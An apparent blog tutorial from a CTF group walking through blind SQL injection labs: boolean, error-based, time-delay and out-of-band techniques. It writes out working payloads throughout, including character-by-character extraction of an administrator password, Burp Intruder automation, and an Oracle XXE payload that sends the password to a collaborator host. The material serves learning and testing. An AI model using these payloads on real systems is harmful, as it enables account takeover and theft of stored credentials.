BLIND SQL INJECTION VULNERABILITIES

Now this part comes to so called advanced exploitation of sql injections.This is the most commonly seen in big corporations during bug bounty hunt by 1337 hunters around the world.

Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

It is fairly common to find that no string fields within an application are vulnerable to SQL injection, because input containing single quotation marks is being handled properly. However, vulnerabilities may still exist within numeric data fields, where user input is not encapsulated within single quotes. Often in these situations, the only means of retrieving the results of your injected queries is via a numeric response from the application. In this situation, your challenge is to process the results of your injected queries in such a way that meaningful data can be retrieved in numeric form.

Two functions that can be used in the process are ASCII AND SUBSTR.

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a "Welcome back" message is displayed within the page.

This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

…xyz' AND '1'='1
…xyz' AND '1'='2

The first of these values will cause the query to return results, because the injected AND '1'='1 condition is true, and so the "Welcome back" message will be displayed. Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the "Welcome back" message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, we start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

This does not return the “Welcome back” message, indicating that the injected condition is false, and so the first character of the password is not greater than t.

Eventually, we send the following input, which returns the “Welcome back” message, thereby confirming that the first character of the password is s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Lets look at our webapp

We are given before testing about database that it has a table called users and and columns usernames and password.

Lets test the filter functionality

Lets check the number of columns

'order by 1--

okay lets try bit more

'order by 2--

lets go for more

'order by 4--

Lets try for a very big value

'order by 1337--

Hmm this should return error as table does not have such amount of columns.We can assume at this point maybe filter functionality is not vulnerable.Lets poke around the website more.

We can recall all the login bypass tricks from part one of this crash course.I tried all but not able to bypass the login page.Lets keep searching the webapp

Tried to visit some items but could not find any functionality that looks suspicious

Okay so lets make a mindmap in our mind of this application.

It has a

  • login functionality
  • home page
  • view items
  • filter functionality on view items

So at this point we should go for directory bruteforcing to get additional endpoints.Also we should use a crawler too to craw all the links recursively on websites.But before doing anything we should also see what requests are going on and source code of pages.

Lets check all the requests.

If we look at the requests the thing which looks or gives some weird feeling is the tracking id in cookies.

Lets try to change it

Here is the response

If you observation skills are good you will see that ‘Welcome back’ message is gone now.

Ideally what one should do is send the response of normal request and tampered tracking id request to comparator in burp to compare the response but here change is drastic so visible.

So lets try to put sqli there

we can try normal query like

xyz' OR '1'='1

Here is the response

We got our “Welcome back!” term back.

Now this happens because we fixed our query which got teared due to use of a single colon and this also confirms sqli here.

Lets try to extract more data

Now since we already know the table name that is ‘users’ We can try to confirm administrator account with the following query.

'union select 'a' from users where username='administrator'--

Now lets check its password length using query

'union select 'a' from users where username='administrator' and length(password)>3 --

Since webpage is showing welcome back term it means our query is right and password length of the user is greater than 3.

Now here the hit and trial comes in we need exact length of password so we need to run different logic queries to test whether password is greater than 5 then if it is greater than 10 hope you got the vibe here.

lets run the query

'union select 'a' from users where username='administrator' and length(password)>10 --

lets check if length is greater than 15

Yup its length is greater than 15 lets check if it is greater than 20

This time we did not receive any welcome back term in response indicating password length is not greater than 20.

Lets check if it is greater than 17.

We got welcome back term in response this means it is indeed greater than 17 lets check if it is greater than 19

We again got a match in response so password length is greater than 19.We already confirmed through our previous queries password length is not greater than 20 and here we get it is greater than 19 it means password length is 20.We can also check it with is using equals to operator in sql.Query will be

'union select 'a' from users where username='administrator' and length(password)=20--

Find number of columns and length of password is all about hit and trial and guessing.

Now we can know what password is of administrator using built in function substr in sql.

Query will be

‘union select ‘a’ from users where username=’administrator’ and substr(password,1,1)=’a--

This query will check if first character of administrator password is ‘a’.If yes Welcome back term in response will be there if no this term will not be in response.

But a better way instead if checking manually we can use burp intruder.

Add the request to the intruder using cluster bomb type attack

In first payload we will use number wordlist from 1 to 20 since we know password length if 20.In second payload we will add all numbers,characters(both lowercase and uppercase).

and now we will grep for welcome back string in the response

Lets start the attack

Now we got all the characters and their position in the password.So lets build our password by arranging the characters according to their position

We got our password so we succesfully compromised administrator account using sqli.

This webapp when query was wrong give response different from when query was right(I am talking about appearing and disappearing Welcome back string in response).Sometimes if nothing is in the query then we can simply try to induce an error by using conditional statements like if condition is true means our query is right then try to divide 6 by 0 this will induce error and help us to know that our query was right.So this again can help us in informational retrieval from the database.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Here we are given a webapp with information that it uses ORACLE database and have table called users.

lets again tinker with the trackingId parameter in cookies lets try to add quotation mark in parameter value

We got error because we breaked our query this confirms sqli in trackingId parameter now since we know database is oracle so we can try query like

xyz'||(SELECT '' FROM dual)||'

The response we got is

No error which is obvious since our query is right and did not break syntax of ORACLE query.

Now we can use this error showing on wrong query bug as our advantage to retrieve information from the database.

The buildup of next attack can be shown with this query

xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

what basically this query can do is if condition is true then try to convert result of division of 1 by 0 to character.Since database operation of dividing 1 by 0 will give error(You cannot divide any number by zero Simple rule of mathematics).

So if this user or his password is right then induce dividebyzeroerror else continue will be basis of our attacks.If information will be right error will be induced else nothing happens.

So we can try this query

xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

We got error so this means our condition was right and a user called administrator exist in the database.

Now lets try to get the password length of this user using query

Error indicates condition is true and password is indeed greater than 3.Lets check if it is greater than 10

Eror indicates password length is greater than 10 lets check if it is greater than 15.

So password is greater than 15.Lets try for 20

This time no error occurs means password is not greater than 20.

So password length must be greater than 15 and less than 21.

Lets check if it is greater than 18 or not

passoword is greater than 18.So now password length can either be 19 or 20.Lets check for 19

No error means password length is not 19 so the only number left is 20.So password length is 20 we can also confirm this

Now we know the password length we can check for the characters in password using substr function in oracle.

We can use query like

'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

to check first character of the password is ‘a’ or not.Now such cases deman automation so we will use burp intruder like our previous assesment of webapp.

Lets send request in intruder set attack type to cluster bomb and lets get the password

first payload type will be numbers from 1 to 20 since password is 20 chars long so we can iterate through each character and second payload will include all alphabets both in lower and uppercase and numbers from 0 to 9.

Lets start the attack

Now once the attack finished We can filter the result based on status code since error indicate our condition is true aka a ‘hit’ so all requests with status code 500 will be correct queries and we can retrieve information from them,the position and character at that position.

Now lets arrange the password according to character position and the password we got is

We can login now with administrator credentials

This type of vulnerability is mostly seen by many reports that I read on high profile targets.

We have seen retrieval of information through reponse checking and error checking till now in blind sql injections there is another way application sqli bugs help us to retrieve information called time delays.

If our condition is right then application will have a delayed response time compare to normal response time.

To demonstrate the concept here our webapp

Lets tinker with trackingId try to cause a time delay we can cause it using query

xyz''||pg_sleep(10)--

This caused the application to give response back after 10 seconds meanwhile put database to sleep.

Now using this we can retrieve data from the database just like in last webapp but this time instead of getting error which shows our query is right we will see response time to know if our query is right or not.

But what if none of so far we learned concepts in blind sqli works??

Then we should test for OAST (out of band interaction).

This is similiar to SSRF vulnerability but this time instead of making server do network requests we will make database do network requests(SQLI is about databases not about servers)

A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems.

The easiest and most reliable way to use out-of-band techniques is using Burp Collaborator. This is a server that provides custom implementations of various network services (including DNS), and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application.

The techniques for triggering a DNS query are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to cause a DNS lookup on a specified domain:

'; exec master..xp_dirtree '//www.google.com/a'--

This will cause the database to perform a lookup for the following domain:

www.google.com

Now lets try to make database an out of band interaction using our burp collaborator.

Our collaborator

We can use query

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"[collabaratoraddress]">+%25remote%3b]>'),'/l')+FROM+dual--

We got the request on our collaborator

We successfully able to make DNS queries to our collaborator.

Now to exfilterate data from database to our collaborator we can make query like

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.collaborator-address">+%25remote%3b]>'),'/l')+FROM+dual--

We got hit on our collaborator

We saved the value of administrator password in remote using xxe and now appending it before the collaborator address we try to trick system into thinking it is subdomain of our collaborator address so we recieved the request along with the required data in format

adminpassword.collaborator-address.net

The highlighted text is the admin password

We can now login as administrator using the password we recieved.

If you wonder how to look for query syntax like what query must be suitable then answer is looking in docs,cheatsheets and google.

Hope you enjoyed the journey

Here are some reads

Written by

https://twitter.com/infosec_boy

--

--

Cyber Defecers

We are a group of passionate information security researchers and CTF players who likes to learn more about hacking.